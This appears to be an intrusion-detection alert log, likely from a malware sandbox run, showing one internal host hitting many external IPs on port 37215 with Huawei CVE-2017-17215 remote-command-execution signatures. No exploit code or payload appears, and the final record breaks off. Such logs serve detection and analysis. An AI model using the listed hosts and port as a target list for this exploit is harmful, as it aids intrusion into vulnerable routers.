ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.27.46

Timestamp:	02/19/24-18:36:28.359998
SID:	2835222
Source Port:	48696
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.127.160.138

Timestamp:	02/19/24-18:37:47.987926
SID:	2829579
Source Port:	38830
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.158.17

Timestamp:	02/19/24-18:37:32.153159
SID:	2835222
Source Port:	34182
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.33.246.33

Timestamp:	02/19/24-18:37:47.987181
SID:	2835222
Source Port:	53240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.115.240.199

Timestamp:	02/19/24-18:37:40.432468
SID:	2835222
Source Port:	51240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.254.93.52

Timestamp:	02/19/24-18:38:05.925670
SID:	2835222
Source Port:	41286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.155.107

Timestamp:	02/19/24-18:38:08.998738
SID:	2835222
Source Port:	53056
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.247.19.176

Timestamp:	02/19/24-18:38:00.828362
SID:	2835222
Source Port:	53528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.105.101

Timestamp:	02/19/24-18:38:01.392235
SID:	2835222
Source Port:	50222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.200.29.69

Timestamp:	02/19/24-18:37:15.416017
SID:	2835222
Source Port:	35624
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.136.23

Timestamp:	02/19/24-18:37:48.305056
SID:	2835222
Source Port:	43906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.117.198

Timestamp:	02/19/24-18:37:48.304695
SID:	2829579
Source Port:	41738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.117.106

Timestamp:	02/19/24-18:37:48.303908
SID:	2829579
Source Port:	60042
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.43.104

Timestamp:	02/19/24-18:38:08.988118
SID:	2835222
Source Port:	35200
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.67.93

Timestamp:	02/19/24-18:36:28.361652
SID:	2835222
Source Port:	52076
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.119.0

Timestamp:	02/19/24-18:38:20.949098
SID:	2829579
Source Port:	54392
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.169.73

Timestamp:	02/19/24-18:37:27.870293
SID:	2835222
Source Port:	52644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.200.58.102

Timestamp:	02/19/24-18:36:44.183465
SID:	2829579
Source Port:	43066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.61.208

Timestamp:	02/19/24-18:36:28.360618
SID:	2835222
Source Port:	52680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.103.181

Timestamp:	02/19/24-18:36:28.361758
SID:	2835222
Source Port:	37628
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.56.201

Timestamp:	02/19/24-18:36:28.360955
SID:	2829579
Source Port:	41634
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.88.15

Timestamp:	02/19/24-18:37:48.304170
SID:	2829579
Source Port:	49236
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.207.153.168

Timestamp:	02/19/24-18:37:24.717566
SID:	2829579
Source Port:	33046
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.254.39

Timestamp:	02/19/24-18:36:46.834168
SID:	2835222
Source Port:	59980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.200.2.67

Timestamp:	02/19/24-18:37:15.416109
SID:	2835222
Source Port:	37120
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.34.78

Timestamp:	02/19/24-18:38:20.945835
SID:	2829579
Source Port:	51322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.42.90.37

Timestamp:	02/19/24-18:37:01.984939
SID:	2835222
Source Port:	54754
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.158.98

Timestamp:	02/19/24-18:36:28.360131
SID:	2829579
Source Port:	58458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.254.80.249

Timestamp:	02/19/24-18:36:55.646616
SID:	2835222
Source Port:	45448
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.24.97

Timestamp:	02/19/24-18:38:20.943707
SID:	2835222
Source Port:	34310
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.247.108

Timestamp:	02/19/24-18:36:46.832697
SID:	2835222
Source Port:	46528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.75.18

Timestamp:	02/19/24-18:36:23.331161
SID:	2835222
Source Port:	59124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.250.174.54

Timestamp:	02/19/24-18:37:40.237027
SID:	2835222
Source Port:	33706
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.115.241.43

Timestamp:	02/19/24-18:38:16.357172
SID:	2829579
Source Port:	50444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.47.2

Timestamp:	02/19/24-18:36:28.362205
SID:	2835222
Source Port:	54386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.147.25

Timestamp:	02/19/24-18:37:01.125255
SID:	2829579
Source Port:	46264
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.254.85.64

Timestamp:	02/19/24-18:37:56.215737
SID:	2829579
Source Port:	42376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.127.163.157

Timestamp:	02/19/24-18:36:28.734030
SID:	2835222
Source Port:	43724
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.119.7

Timestamp:	02/19/24-18:37:01.125506
SID:	2835222
Source Port:	35482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.214.215

Timestamp:	02/19/24-18:37:15.415196
SID:	2829579
Source Port:	53748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.90.78

Timestamp:	02/19/24-18:37:31.137308
SID:	2835222
Source Port:	57888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.84.186

Timestamp:	02/19/24-18:36:22.312827
SID:	2829579
Source Port:	41814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.235.107.9

Timestamp:	02/19/24-18:38:05.944777
SID:	2835222
Source Port:	41180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.195.120.18

Timestamp:	02/19/24-18:36:29.049080
SID:	2829579
Source Port:	53148
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.247.108

Timestamp:	02/19/24-18:36:46.832697
SID:	2829579
Source Port:	46528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.241.12.155

Timestamp:	02/19/24-18:36:49.866279
SID:	2835222
Source Port:	52936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.200.117.125

Timestamp:	02/19/24-18:37:15.415813
SID:	2829579
Source Port:	52430
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.33.250.110

Timestamp:	02/19/24-18:36:28.734165
SID:	2835222
Source Port:	34174
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.207.159.153

Timestamp:	02/19/24-18:36:39.746015
SID:	2829579
Source Port:	33634
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 122.254.96.69

Timestamp:	02/19/24-18:38:03.039195
SID:	2829579
Source Port:	41792
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.224.59

Timestamp:	02/19/24-18:38:08.988805
SID:	2835222
Source Port:	37850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.228.54

Timestamp:	02/19/24-18:36:44.376420
SID:	2835222
Source Port:	51738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.18.154

Timestamp:	02/19/24-18:37:28.889302
SID:	2829579
Source Port:	36942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.125.108.93

Timestamp:	02/19/24-18:37:26.604700
SID:	2829579
Source Port:	44032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.207.204

Timestamp:	02/19/24-18:37:32.164490
SID:	2829579
Source Port:	43766
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.100.85

Timestamp:	02/19/24-18:36:28.361893
SID:	2835222
Source Port:	46318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.33.250.87

Timestamp:	02/19/24-18:37:48.992019
SID:	2829579
Source Port:	55940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.253.45.96

Timestamp:	02/19/24-18:37:56.514447
SID:	2835222
Source Port:	60770
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 121.199.82.199

Timestamp:	02/19/24-18:37:48.046854
SID:	2829579
Source Port:	43996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.125.108.93

Timestamp:	02/19/24-18:37:26.604700
SID:	2835222
Source Port:	44032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.221.11

Timestamp:	02/19/24-18:36:44.376261
SID:	2835222
Source Port:	38350
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.193.242

Timestamp:	02/19/24-18:37:15.415350
SID:	2829579
Source Port:	45638
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.33.248.121

Timestamp:	02/19/24-18:37:41.312592
SID:	2835222
Source Port:	43458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.227.158

Timestamp:	02/19/24-18:38:01.392992
SID:	2835222
Source Port:	57446
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.115.237.84

Timestamp:	02/19/24-18:38:16.357025
SID:	2835222
Source Port:	55928
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.207.199

Timestamp:	02/19/24-18:38:20.942973
SID:	2829579
Source Port:	55058
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.61.67

Timestamp:	02/19/24-18:36:23.332128
SID:	2835222
Source Port:	51680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.214.215

Timestamp:	02/19/24-18:37:15.415196
SID:	2835222
Source Port:	53748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.187.104.4

Timestamp:	02/19/24-18:38:01.391035
SID:	2835222
Source Port:	46798
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.136.14

Timestamp:	02/19/24-18:38:20.945466
SID:	2829579
Source Port:	40646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.154.146

Timestamp:	02/19/24-18:38:08.990990
SID:	2829579
Source Port:	50290
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 138.36.244.85

Timestamp:	02/19/24-18:38:11.600695
SID:	2829579
Source Port:	49204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.107.104

Timestamp:	02/19/24-18:37:28.053650
SID:	2829579
Source Port:	51328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.33.249.26

Timestamp:	02/19/24-18:36:39.595155
SID:	2835222
Source Port:	38608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.128.73

Timestamp:	02/19/24-18:36:44.376456
SID:	2829579
Source Port:	60644
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.194.157

Timestamp:	02/19/24-18:38:01.393604
SID:	2835222
Source Port:	57802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.247.31.246

Timestamp:	02/19/24-18:38:05.920743
SID:	2829579
Source Port:	55276
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.20.156

Timestamp:	02/19/24-18:37:31.123053
SID:	2829579
Source Port:	58414
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.13.122

Timestamp:	02/19/24-18:38:01.123394
SID:	2835222
Source Port:	37826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.50.125

Timestamp:	02/19/24-18:36:28.360862
SID:	2829579
Source Port:	34436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.7.112

Timestamp:	02/19/24-18:38:01.392848
SID:	2835222
Source Port:	49790
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.34.78

Timestamp:	02/19/24-18:38:20.945835
SID:	2835222
Source Port:	51322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.200.58.102

Timestamp:	02/19/24-18:36:44.183465
SID:	2835222
Source Port:	43066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.247.19.176

Timestamp:	02/19/24-18:38:00.828362
SID:	2829579
Source Port:	53528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.136.240.15

Timestamp:	02/19/24-18:38:06.098757
SID:	2829579
Source Port:	53256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 186.129.147.242

Timestamp:	02/19/24-18:36:39.433148
SID:	2829579
Source Port:	42770
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.44.136.200

Timestamp:	02/19/24-18:36:44.185700
SID:	2829579
Source Port:	59756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.118.244

Timestamp:	02/19/24-18:36:46.840016
SID:	2835222
Source Port:	56116
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.56.197.185

Timestamp:	02/19/24-18:36:23.804631
SID:	2835222
Source Port:	41394
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.48.151

Timestamp:	02/19/24-18:36:46.835783
SID:	2829579
Source Port:	45800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.200.57.26

Timestamp:	02/19/24-18:37:28.087110
SID:	2835222
Source Port:	35814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.122.225.65

Timestamp:	02/19/24-18:36:28.360445
SID:	2829579
Source Port:	39312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 37.16.10.25

Timestamp:	02/19/24-18:37:41.581034
SID:	2829579
Source Port:	42664
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.200.63.1

Timestamp:	02/19/24-18:38:17.312698
SID:	2835222
Source Port:	45180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.120.8.97

Timestamp:	02/19/24-18:36:46.833777
SID:	2835222
Source Port:	54680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 122.254.106.210

Timestamp:	02/19/24-18:37:42.400625
SID:	2829579
Source Port:	44424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 156.77.135.31

Timestamp:	02/19/24-18:37:59.573796
SID:	2835222
Source Port:	44222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.7.103

Timestamp:	02/19/24-18:38:20.943210
SID:	2835222
Source Port:	51578
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.16.58

Timestamp:	02/19/24-18:38:20.961741
SID:	2829579
Source Port:	38620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.121.54.85

Timestamp:	02/19/24-18:38:01.391333
SID:	2835222
Source Port:	35326
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.155.107

Timestamp:	02/19/24-18:38:08.998738
SID:	2829579
Source Port:	53056
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.123.136.23

Timestamp:	02/19/24-18:37:48.305056
SID:	2829579
Source Port:	43906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.187.105.228

Timestamp:	02/19/24-18:38:08.986889
SID:	2835222
Source Port:	52596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 45.127.161.223

Timestamp:	02/19/24-18:36:39.595552
